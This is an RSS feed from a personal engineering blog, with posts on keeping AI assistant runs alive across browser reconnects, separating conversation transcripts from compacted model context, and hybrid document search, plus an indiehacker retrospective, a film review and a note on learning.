<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Sumit&apos;s Space</title><description>Writing by Sumit Ghosh on AI engineering, software, and building things.</description><link>https://sumit-ghosh.com/</link><item><title>When an AI Request Outlives the Browser Tab</title><link>https://sumit-ghosh.com/posts/when-an-ai-request-outlives-the-browser-tab/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/when-an-ai-request-outlives-the-browser-tab/</guid><description>Keeping execution independent of the connection, and reconnecting without starting the work again.</description><pubDate>Wed, 14 Oct 2026 07:30:00 GMT</pubDate><content:encoded>&lt;p&gt;A user asks an assistant to work through a set of documents. It starts searching, reading, and generating an answer. Then the user refreshes the page.&lt;/p&gt;
&lt;p&gt;What should happen?&lt;/p&gt;
&lt;p&gt;The work should keep going. When the user returns, the application should find the existing run and show its progress or result. It should not quietly submit the same question again.&lt;/p&gt;
&lt;p&gt;That behavior sounds straightforward, but it requires separating several things that often start out inside one HTTP handler: executing the work, delivering live updates, and recording what happened.&lt;/p&gt;
&lt;p&gt;At Jurisphere, I’ve worked on assistant execution and streaming using Temporal, Redis, and Server-Sent Events. The useful architectural decision is to give the run a lifetime independent of the browser connection.&lt;/p&gt;
&lt;h2 id=&quot;starting-work-and-watching-work-are-separate-operations&quot;&gt;Starting work and watching work are separate operations&lt;/h2&gt;
&lt;p&gt;In this design, submitting a question starts a backend workflow. The browser then connects to a separate endpoint to receive events for that chat.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Browser ── submit question ──▶ API ── start workflow ──▶ Worker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                                                         │&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                                                         ▼&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                                                   Event buffer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                                                         │&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Browser ◀──────────────── SSE connection ◀────────────────┘&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;The worker also saves conversation content and run status.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stream is a way to observe the work. It does not own the work’s lifetime. Closing it stops delivery to that browser, while execution continues in the backend.&lt;/p&gt;
&lt;p&gt;This distinction also helps with navigation inside the application. Leaving a conversation page should not have the same meaning as pressing Stop.&lt;/p&gt;
&lt;p&gt;Moving work into a background task inside the API process can separate it from the immediate response, but that alone does not define what happens when the process restarts. A workflow engine adds execution tracking, timeouts, and retry policies. It still needs explicit decisions about what a retry is allowed to repeat.&lt;/p&gt;
&lt;h2 id=&quot;a-returning-browser-needs-to-discover-the-existing-run&quot;&gt;A returning browser needs to discover the existing run&lt;/h2&gt;
&lt;p&gt;Reopening the page is different from reconnecting an existing socket. The page may have lost its local state, and the application needs to discover which chat is still running.&lt;/p&gt;
&lt;p&gt;Our webapp uses two signals. A browser-side pending-query cache can recover the chat identity and submitted query before the conversation API response arrives. The API can also report the latest chat as pending or streaming, letting the page attach to it.&lt;/p&gt;
&lt;p&gt;These paths can race. The API-driven path may attach first, while the browser cache contains extra context that has not yet appeared in the fetched conversation. The reconnection hook checks the chat identity: it enriches an already attached instance of the same chat rather than opening another stream or overwriting it with an unrelated cached entry.&lt;/p&gt;
&lt;p&gt;The important identity is the run the user already started. Reconnecting should not call the submission endpoint again.&lt;/p&gt;
&lt;h2 id=&quot;live-delivery-needs-a-replay-buffer&quot;&gt;Live delivery needs a replay buffer&lt;/h2&gt;
&lt;p&gt;A live-only broadcast loses events while the browser is disconnected. If part of an answer arrives during that gap, simply reconnecting leaves the user with an incomplete response.&lt;/p&gt;
&lt;p&gt;Our assistant streaming path appends events to a Redis Stream. The SSE endpoint reads those entries and includes their event IDs. A client can reconnect with a last-seen event ID, allowing delivery to continue after that cursor while the entries remain available.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Browser receives events 1–10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Connection drops&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Worker publishes events 11–20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Browser reconnects after event 10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Server reads the retained events after that cursor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That cursor supports resuming delivery. It is not a checkpoint of the model’s execution, and it does not imply that the model can resume generating from an arbitrary token.&lt;/p&gt;
&lt;p&gt;The buffer also has limits. Our streams have a maximum length and an expiry, refreshed as events are published. Old events can be trimmed or expire. A cursor is useful only within the retained stream; it is not a promise of unlimited replay.&lt;/p&gt;
&lt;h2 id=&quot;the-event-buffer-is-not-the-lasting-record&quot;&gt;The event buffer is not the lasting record&lt;/h2&gt;
&lt;p&gt;The application separately saves conversation content and status. A user returning to a completed conversation needs the saved result, rather than depending on whether its streaming events still exist.&lt;/p&gt;
&lt;p&gt;An approval pause makes this distinction particularly clear. The user might return hours later to approve a capability. Keeping a live stream open for that entire pause would couple the approval interface to the buffer’s lifetime.&lt;/p&gt;
&lt;p&gt;Our reconnection hook does not reattach a chat that is awaiting approval. Instead, the interface renders the saved conversation and pending approvals. The worker persists that approval state before publishing the event that tells the UI to show the approval action.&lt;/p&gt;
&lt;p&gt;That ordering matters: if the interface offers an action before the server has recorded the state needed to accept it, the user can click something that the backend is not ready to handle.&lt;/p&gt;
&lt;p&gt;The saved state and the event stream serve different purposes. Neither removes the need to reconcile failures or stale status.&lt;/p&gt;
&lt;h2 id=&quot;reconnection-retry-and-cancellation-need-different-rules&quot;&gt;Reconnection, retry, and cancellation need different rules&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Reconnection&lt;/strong&gt; attaches a client to existing work. A dropped SSE connection should not trigger a fresh model call.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Retry&lt;/strong&gt; happens when backend execution fails. Temporal activities can be retried, but an activity that calls a model or a tool may already have done some work before failing. A retry can incur another model call or repeat a side effect unless the application handles that boundary.&lt;/p&gt;
&lt;p&gt;In our streaming implementation, the worker resets the event buffer before a new activity attempt so that partial output from separate attempts is not mixed into one stream. Terminal error publication also uses an atomic claim to avoid duplicate official error events across retries or overlapping attempts.&lt;/p&gt;
&lt;p&gt;Those measures address event publication. They do not establish exactly-once execution for every tool the agent can call. A tool that changes external state needs its own idempotency or recovery design. Resetting the stream also means an old delivery cursor cannot be treated as a checkpoint across attempts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cancellation&lt;/strong&gt; is an explicit user action. Our Stop path sends a signal to the running activity and records a stopped status. The stored status covers cases such as a stop arriving before the worker starts, when there is no active subscriber to receive the signal.&lt;/p&gt;
&lt;p&gt;A signal alone can be missed. A stored flag alone does not necessarily interrupt an already running model call promptly. The implementation needs to account for both, including what to tell the user if signal delivery fails.&lt;/p&gt;
&lt;h2 id=&quot;make-failure-distinguishable-from-silence&quot;&gt;Make failure distinguishable from silence&lt;/h2&gt;
&lt;p&gt;An idle connection does not tell the browser whether a tool is still running, the worker has failed, or the event transport is unavailable.&lt;/p&gt;
&lt;p&gt;Worker heartbeats, bounded retries, persisted status, and explicit terminal events each help answer a different part of that question. The streaming code also handles temporary Redis read failures with bounded retries; when it cannot recover the transport, it lets the client reconnect rather than treating the lost connection as proof that the assistant failed.&lt;/p&gt;
&lt;p&gt;These mechanisms have their own failure cases. A status can remain marked as streaming after an unexpected failure, so the application also needs a way to detect and reconcile stale runs. An indefinite spinner is not a recovery strategy.&lt;/p&gt;
&lt;h2 id=&quot;the-scenarios-id-verify&quot;&gt;The scenarios I’d verify&lt;/h2&gt;
&lt;p&gt;For an assistant with this architecture, I would check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Refresh while the worker is running: the page attaches to the same chat without submitting another question.&lt;/li&gt;
&lt;li&gt;Drop the connection after partial output: retained events let delivery catch up without corrupting the displayed answer.&lt;/li&gt;
&lt;li&gt;Return after completion and after the event buffer expires: the saved result remains available.&lt;/li&gt;
&lt;li&gt;Retry an activity after partial publication: the UI does not combine different attempts into one answer.&lt;/li&gt;
&lt;li&gt;Press Stop before the worker starts and during execution: both cases have a defined outcome.&lt;/li&gt;
&lt;li&gt;Return to an approval pause hours later: the saved approval action still works.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are suggested verification scenarios, not a claim that every failure mode has been eliminated.&lt;/p&gt;
&lt;p&gt;The central design choice is simple: give execution an identity and a lifetime independent of the connection. Then define how the application observes it, recovers its result, and asks it to stop.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;For the related question of what an assistant should retain across turns, see &lt;a href=&quot;https://sumit-ghosh.com/posts/two-conversation-histories-for-ai-agents/&quot;&gt;Why an AI Agent Needs Two Conversation Histories&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I’m the CTO and technical cofounder of Jurisphere, where I lead engineering and contribute hands-on. &lt;a href=&quot;https://sumit-ghosh.com/work/jurisphere/&quot;&gt;More about my work&lt;/a&gt;, or &lt;a href=&quot;https://sumit-ghosh.com/consulting/&quot;&gt;get in touch about a project&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Why an AI Agent Needs Two Conversation Histories</title><link>https://sumit-ghosh.com/posts/two-conversation-histories-for-ai-agents/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/two-conversation-histories-for-ai-agents/</guid><description>Keeping the user&apos;s transcript intact while compacting the model&apos;s working context.</description><pubDate>Wed, 14 Oct 2026 06:30:00 GMT</pubDate><content:encoded>&lt;p&gt;An assistant’s conversation history starts out looking like one thing: messages go in, messages come out, and you save them. As the assistant starts using tools and conversations get longer, that history takes on two different jobs.&lt;/p&gt;
&lt;p&gt;The application needs a record of what happened. The model needs enough context to decide what to do next. Those requirements diverge once you start compacting context.&lt;/p&gt;
&lt;p&gt;At Jurisphere, I worked on separating these into a full conversation transcript and a model-facing history. That separation makes some otherwise awkward problems easier to reason about.&lt;/p&gt;
&lt;h2 id=&quot;the-transcript-and-the-working-context&quot;&gt;The transcript and the working context&lt;/h2&gt;
&lt;p&gt;The full transcript supports the interface and the application’s resume behavior. If a user scrolls back, they should still see their original question and the answer they received. Compaction should not rewrite that record.&lt;/p&gt;
&lt;p&gt;The model-facing history is a working representation. It can discard older tool output or summarize earlier exchanges to fit within a context budget.&lt;/p&gt;
&lt;p&gt;These are different representations of the same conversation:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Conversation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ├── Full transcript → interface and application history&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  └── Working context → next model call, with compaction&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A summary may be sufficient for the next model call without being a suitable replacement for the user’s transcript. A document-search result may contain a large amount of text that helped one turn but does not need to be replayed indefinitely.&lt;/p&gt;
&lt;h2 id=&quot;compact-in-stages&quot;&gt;Compact in stages&lt;/h2&gt;
&lt;p&gt;Our implementation uses a tiered approach: clear older tool results first, then summarize if more reduction is needed, while retaining recent messages.&lt;/p&gt;
&lt;p&gt;The order matters. Summarization makes decisions about what to preserve, and those decisions can lose detail. Removing older bulky tool results is a cheaper first step, provided recent tool-call and result pairs remain coherent.&lt;/p&gt;
&lt;p&gt;For a document assistant, a summary also needs to preserve references that later answers depend on. A summary saying “we discussed the contract” is much less useful than one retaining the relevant document references, decisions, and unresolved questions.&lt;/p&gt;
&lt;p&gt;This does not make summaries lossless. It gives the model a smaller working context while leaving the original record available to the application.&lt;/p&gt;
&lt;h2 id=&quot;a-subtle-consequence-offsets-stop-identifying-turns&quot;&gt;A subtle consequence: offsets stop identifying turns&lt;/h2&gt;
&lt;p&gt;Suppose you record the length of the history before a run:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;start &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(messages)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the run, you take everything after that offset as the new turn. This works while the prefix remains unchanged.&lt;/p&gt;
&lt;p&gt;Compaction can rewrite that prefix during the run. The old offset may then point into the wrong place or beyond the end of the list. An interruption makes this especially troublesome, because you need to identify what happened in the current run before saving it.&lt;/p&gt;
&lt;p&gt;I worked on using the run’s identity to locate its messages instead. The invariant is that a run’s stamped messages form a contiguous suffix; a saved list length is no longer the boundary.&lt;/p&gt;
&lt;p&gt;The broader lesson is that identity survives transformations that position does not. Whenever a pipeline rewrites a list, check whether downstream code has quietly treated an index as an identifier.&lt;/p&gt;
&lt;h2 id=&quot;interrupted-output-needs-its-own-handling&quot;&gt;Interrupted output needs its own handling&lt;/h2&gt;
&lt;p&gt;There is another distinction between the model’s message history and the interface: text can reach the user before the model finishes producing a complete response.&lt;/p&gt;
&lt;p&gt;On interruption, the captured model messages may not include that in-flight output. If the application has already streamed it, preserving the visible partial response requires handling those streamed deltas explicitly.&lt;/p&gt;
&lt;p&gt;Incomplete tool-call tails also need care. Replaying an unfinished tool exchange as though it completed can produce an invalid or misleading next context. Our history helpers trim incomplete tails and construct a partial response from the output accumulated during streaming.&lt;/p&gt;
&lt;p&gt;Keeping two stores does not remove the need for consistency. It makes that responsibility explicit: decide what gets persisted after completion, after interruption, and when reading an older conversation.&lt;/p&gt;
&lt;h2 id=&quot;what-id-check-in-another-assistant&quot;&gt;What I’d check in another assistant&lt;/h2&gt;
&lt;p&gt;Before adding more elaborate memory, I would check these cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A long conversation compacts, and the original transcript remains visible.&lt;/li&gt;
&lt;li&gt;The user interrupts a run after seeing partial output.&lt;/li&gt;
&lt;li&gt;Compaction happens before an interrupted turn is persisted.&lt;/li&gt;
&lt;li&gt;An incomplete tool exchange does not get replayed as a completed one.&lt;/li&gt;
&lt;li&gt;An older saved conversation can initialize the model-facing representation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are application behaviors, not just prompt behaviors. A larger context window can postpone some pressure, but it does not answer what your application should preserve or how it should resume.&lt;/p&gt;
&lt;p&gt;Separating the transcript from the model’s working context gives each a clear purpose. That is a useful foundation before adding more sophisticated memory.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;I’m the CTO and technical cofounder of Jurisphere, where I lead engineering and contribute hands-on. &lt;a href=&quot;https://sumit-ghosh.com/work/jurisphere/&quot;&gt;More about my work&lt;/a&gt;, or &lt;a href=&quot;https://sumit-ghosh.com/consulting/&quot;&gt;get in touch about a project&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Hybrid Search for Document-Heavy Products</title><link>https://sumit-ghosh.com/posts/hybrid-search-for-document-heavy-products/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/hybrid-search-for-document-heavy-products/</guid><description>Keyword search, vectors, metadata, and the path back to the source.</description><pubDate>Wed, 14 Oct 2026 05:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Document search has to handle several kinds of questions. Sometimes a user knows an exact phrase, a clause number, or a filename. Sometimes they describe an idea in words that do not appear in the source.&lt;/p&gt;
&lt;p&gt;At Jurisphere, I’ve worked on retrieval that combines keyword and vector search. The interesting part is how those retrieval methods fit into the rest of a document workflow: scope, metadata, indexing state, and source references.&lt;/p&gt;
&lt;h2 id=&quot;two-ways-to-find-a-passage&quot;&gt;Two ways to find a passage&lt;/h2&gt;
&lt;p&gt;Keyword search is useful when the query contains distinctive words or identifiers. BM25 ranks matches using lexical signals. Vector search can find passages that are semantically related to a query even when they use different wording.&lt;/p&gt;
&lt;p&gt;For an illustrative example, imagine a user searching for “ending the agreement early.” A passage headed “Termination” may be relevant without containing that phrase. The same user may later search for the exact reference “clause 12.3,” where lexical matching is useful.&lt;/p&gt;
&lt;p&gt;Combining the two gives the retrieval system candidates from both routes. It still needs to decide how to merge and rank them.&lt;/p&gt;
&lt;h2 id=&quot;search-metadata-as-well-as-content&quot;&gt;Search metadata as well as content&lt;/h2&gt;
&lt;p&gt;One change I implemented extended keyword ranking across several fields: passage content, filename, title, summary, and category, with different weights.&lt;/p&gt;
&lt;p&gt;A user may remember the name of a document rather than a sentence inside it. Restricting keyword search to chunk text can miss that signal even when the right document is already in the index.&lt;/p&gt;
&lt;p&gt;Field weighting makes that tradeoff explicit. Content remains important, while filename and title matches can also influence ranking. The weights are tuning choices; they need to be checked against the queries your users actually make.&lt;/p&gt;
&lt;h2 id=&quot;batch-queries-without-conflating-their-scores&quot;&gt;Batch queries without conflating their scores&lt;/h2&gt;
&lt;p&gt;The implementation submits the keyword query and the vector query together through Turbopuffer’s multi-query API. This combines the two index queries into one request, although embedding generation and any later reranking remain separate operations.&lt;/p&gt;
&lt;p&gt;It is a concrete reduction in index requests. It is not, by itself, evidence that total search latency falls by the same proportion: the overall path also includes embeddings, result processing, and possibly reranking.&lt;/p&gt;
&lt;p&gt;BM25 scores and vector distances are different quantities. Adding them directly would require deciding how to normalize them. Rank fusion is one way to combine the candidate lists without treating their raw scores as interchangeable.&lt;/p&gt;
&lt;p&gt;Our retrieval path supports reciprocal rank fusion and reranking. These address different questions: fusion combines the retrieval lists; a reranker evaluates candidate relevance to the query. Neither can recover a passage that never entered the candidate set.&lt;/p&gt;
&lt;h2 id=&quot;scope-belongs-in-retrieval&quot;&gt;Scope belongs in retrieval&lt;/h2&gt;
&lt;p&gt;In the uploaded-document search path, the index is selected by organization, and queries are filtered to the relevant file IDs and, where applicable, page ranges. Both retrieval routes use the same filter expression. Results are also restricted to chunks marked as current.&lt;/p&gt;
&lt;p&gt;Those constraints belong in the retrieval request. Filtering only after ranking would let out-of-scope material occupy candidate slots, even if it were removed before the answer was shown.&lt;/p&gt;
&lt;p&gt;This is one part of access control. The application still needs to resolve which files the user may access before it constructs the search scope.&lt;/p&gt;
&lt;h2 id=&quot;index-state-is-part-of-the-product&quot;&gt;Index state is part of the product&lt;/h2&gt;
&lt;p&gt;A file can exist in storage and still be missing from the search index. A replaced document can leave older chunks behind unless the indexing process handles version state.&lt;/p&gt;
&lt;p&gt;Our search path checks for missing indexed files and can trigger a backfill workflow before searching. The indexing code also tracks which chunks are current.&lt;/p&gt;
&lt;p&gt;That introduces an operational tradeoff: repairing missing index data can make a request slower. It also means the system has something more useful to do than silently search an incomplete set of documents. The interface and telemetry need to account for this work.&lt;/p&gt;
&lt;p&gt;When diagnosing a bad answer, I would first ask whether the relevant source was available to retrieval at all. Changing a prompt cannot fix a missing index entry.&lt;/p&gt;
&lt;h2 id=&quot;preserve-the-route-back-to-the-source&quot;&gt;Preserve the route back to the source&lt;/h2&gt;
&lt;p&gt;Retrieved chunks carry more than passage text. Our chunk representation includes file identity, filename, page number, position, and bounding-box information when available.&lt;/p&gt;
&lt;p&gt;That metadata lets downstream features associate a result with its source. It is also useful when investigating retrieval: an answer can sound plausible while drawing on the wrong passage or an older version of a document.&lt;/p&gt;
&lt;p&gt;A citation is not proof that an answer is correct. It gives the user and the engineer a way to inspect the evidence.&lt;/p&gt;
&lt;h2 id=&quot;how-id-evaluate-changes&quot;&gt;How I’d evaluate changes&lt;/h2&gt;
&lt;p&gt;I would build a small set of representative queries covering exact references, paraphrases, filenames, and scoped searches. For each, record the expected source passages, then compare keyword-only, vector-only, and combined retrieval.&lt;/p&gt;
&lt;p&gt;Measure retrieval quality separately from answer quality. Also record where time goes: embedding generation, the index request, reranking, and any index repair. These are proposed evaluation steps, rather than a claim about benchmark results from this implementation.&lt;/p&gt;
&lt;p&gt;Hybrid retrieval is useful, but the surrounding details determine whether it serves the user’s workflow. The right scope, current index data, searchable metadata, and a clear route back to the source deserve as much attention as the choice of embedding model.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;I’m the CTO and technical cofounder of Jurisphere, where I lead engineering and contribute hands-on. &lt;a href=&quot;https://sumit-ghosh.com/work/jurisphere/&quot;&gt;More about my work&lt;/a&gt;, or &lt;a href=&quot;https://sumit-ghosh.com/consulting/&quot;&gt;get in touch about a project&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Takeaways from My Indiehacker Experiment</title><link>https://sumit-ghosh.com/posts/takeaways-from-my-indiehacker-experiment/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/takeaways-from-my-indiehacker-experiment/</guid><description>Takeaways from My Indiehacker Experiment — by Sumit Ghosh.</description><pubDate>Sun, 01 Oct 2023 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;My &lt;em&gt;birdfind-app&lt;/em&gt; repo got its first commit on Nov 24, 2022, and last commit on Feb 2, 2023. In this post, I’ll put down some learnings from this experiment.&lt;/p&gt;
&lt;p&gt;After Solvent Protocol got closed down, I wasn’t in a hurry to find my next job. I always like to take a few months of break between jobs to collect myself and explore. To give myself the freedom to think open-endedly about what I want to do next. This time I decided on being an indiehacker. If you need to learn what that means, here’s a definition ChatGPT gave me.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An indiehacker is a self-employed entrepreneur who builds and operates an independent online business, often focusing on digital products. They embrace a transparent and knowledge-sharing community while striving for financial independence and the ability to work on projects they are passionate about.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The product I was building was called Twips at first, but then I changed the name to Birdfind. The initial idea was that it would be a one-stop platform for finding people on Twitter—a search engine for Twitter users. You could filter the list of users using a multitude of criteria, e.g. &lt;em&gt;followed by&lt;/em&gt;, &lt;em&gt;follower of&lt;/em&gt;, &lt;em&gt;follower count&lt;/em&gt;, etc. Later on I pivoted to a similar but slightly different product where you could discover Twitter users within a niche. It was an intense 2 months of obsessive building, and I loved it. But like all things it came to an end, the primary catalyst being Twitter’s new API policy.&lt;/p&gt;
&lt;p&gt;Here are my takeaways from this 2 months journey, as bullet points.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As a programmer, it was effortless for me to keep building features and obsess about getting the engineering right. I did not think enough about the &lt;em&gt;business&lt;/em&gt; part of the journey, about the users and their problems. I should have kept the feature set of the MVP very small, and focused on doing sales and acquiring customers after that. Because true insights only come from interacting with the customers, and I did not do enough of that.&lt;/li&gt;
&lt;li&gt;When you’re building solo, there’s no one to bounce ideas off of or who will call you out on your bullshit. This &lt;em&gt;can&lt;/em&gt; be a strength: you can move fast without any teamwork or communication overhead. But in most cases it ends up being a weakness, especially if it’s your first time building a business. VCs know this; that’s why they are wary of investing in solo founders, and they do have a point.&lt;/li&gt;
&lt;li&gt;Being an indiehacker makes little financial sense. You will make a lot less money compared to full-time jobs for a considerable amount of time, probably years. Even if you’re itching to ditch the 9-5 and dive into building a business, financially it makes a lot more sense to go for the VC funding route.&lt;/li&gt;
&lt;li&gt;As a solopreneur, you’re forced to limit your product’s scope and pace of development. For example, for Birdfind, I shied away from being a competitor to the big social media management apps because I knew I couldn’t build and maintain all those features by myself. I have noticed this trend across other indiehackers on Twitter too, all of their products are very small in scope, and in most cases that translates to losing out potential clients or dropping good ideas just because they are larger in scope.&lt;/li&gt;
&lt;li&gt;There are some high-quality educational resources about startups on the internet, it’s a good idea to go through them before jumping in. It doesn’t have to be thorough; just a week or so of learning is enough to get started. But it’s very important because there are some classic mistakes and pitfalls that everyone is prone to make, and these resources help you avoid just those. These resources include Y Combinator’s videos on YouTube and the book &lt;em&gt;The Mom Test&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Given everything I’ve said so far, building something of your own is a very rewarding experience, especially once you have some momentum. It’s a lot of fun, and I think everyone should experience it at least once in their life. Working on Birdfind gave me a taste of the joy of building something, but it also made me more realistic about how to approach creating a startup and what to expect from it.&lt;/p&gt;
</content:encoded></item><item><title>Only God Forgives</title><link>https://sumit-ghosh.com/posts/only-god-forgives/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/only-god-forgives/</guid><description>Only God Forgives — by Sumit Ghosh.</description><pubDate>Fri, 03 Jun 2022 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently I rewatched Nicolas Winding Refn’s &lt;em&gt;Only God Forgives&lt;/em&gt;. It’s a very divisive movie, the critics’ review at Rotten Tomatoes is around 50% lmao. But I found it to be quite intriguing.&lt;/p&gt;
&lt;p&gt;First a brief recap for those who haven’t seen the movie or forgotten: Julian—played by Gosling—runs a boxing club in Bangkok as a front for his drug business. He and his mother Crystal get caught up in a turf war with the local police—especially an oddball sword-weilding detective—when Julian’s older brother rapes and kills a local prostitute. The cycle of violence quickly escalates and finally results in Crystal’s death and Julian’s hands getting chopped off.&lt;/p&gt;
&lt;p&gt;At it’s core, it’s a deeply moralistic tale which hammers in: “An eye for an eye, a tooth for a tooth.” The name of the movie is a direct reference to this. Two characters even verbalize this at different points in the movie. The mobster who planned the hit on the cops says that he’s ready for the consequences for what he did, and Crystal towards the end also accepts that she fucked up and she’s due for the consequences.&lt;/p&gt;
&lt;p&gt;Only God forgives, in our mortal plane there’s no forgiveness for violence. Interestingly, the detective is almost an agent for a violently retributive God, he doesn’t have any real personality other than that.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Do you know who he is?”&lt;br&gt;
Julian nods.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As if he knows what’s coming for him. Judgement, from God.&lt;/p&gt;
&lt;p&gt;Is the detective an agent of God, or even God himself? Well he doesn’t forgive, and apparently God forgives. This aspect of the detective character seemed to be badly fleshed out to me, there are mixed signals about his true nature. In the movie’s defense, we do get a brief scene where he’s shown to be human: when he meets his daughter at home, and it’s implied that he’s a single parent who’s affectionate towards his child.&lt;/p&gt;
&lt;p&gt;Julian on the other hand, is a mortal man who’s confused as to what he should become. He looks at his hands at several points in the movie, once he washes them and sees blood, and he keeps dreaming of the detective coming one day and chopping his hands off. We later learn that he’s a drug dealer, so he knows that he’s a sinner, and he has to pay for it one day. But he has a conscience unlike his brother, so by the detective’s sense of morality he deserves only amputation, not death, which makes sense.&lt;/p&gt;
&lt;p&gt;The movie also has lots of references to sexual trauma and incest. It’s overtly implied that Crystal has incestuous relationship with her sons, and she made Julian kill his father. All of this has made Julian sexually broken, as it’s apparent from his fetishes. When his mother dies, he makes a cut in her belly and inserts his hand in it, which is almost sexual in a grotesque way. This sexual theme of the movie seemed heavy handed to me.&lt;/p&gt;
&lt;p&gt;Although the movie has its faults regarding plot and theme, it’s held up by its pacing, atmosphere and stylistic elements; as a result the final package is gripping and entertaining. The most interesting character is that of the detective, and his presence elevates the movie to a spiritual level.&lt;/p&gt;
&lt;p&gt;Overall, I’ll rate this a 7 out of 10.&lt;/p&gt;
</content:encoded></item><item><title>Output Oriented Learning</title><link>https://sumit-ghosh.com/posts/output-oriented-learning/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/output-oriented-learning/</guid><description>Output Oriented Learning — by Sumit Ghosh.</description><pubDate>Thu, 02 Jun 2022 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I think learning new things is one of the most satisfying and dopamine-inducing experience for me, many of my brightest memories of my life are around learning. But the learning has to be of a specific kind, obviously it’s not like I enjoyed all of my college courses. So what gives?&lt;/p&gt;
&lt;p&gt;I wrote &lt;a href=&quot;https://okrefusal.com/posts/owner-vs-victim-an-epiphany/&quot;&gt;a post&lt;/a&gt; about this about 4 years back which goes into the ownership aspect of this phenomenon. But I recently realized there’s also another aspect, the output of the said learning.&lt;/p&gt;
&lt;p&gt;If the goal of the learning is mere input, then it’s very less likely that I’ll stick with it. But when the goal of the learning is some output, then I’m much more likely to stick with it, and moreover get passionate and excited about it.&lt;/p&gt;
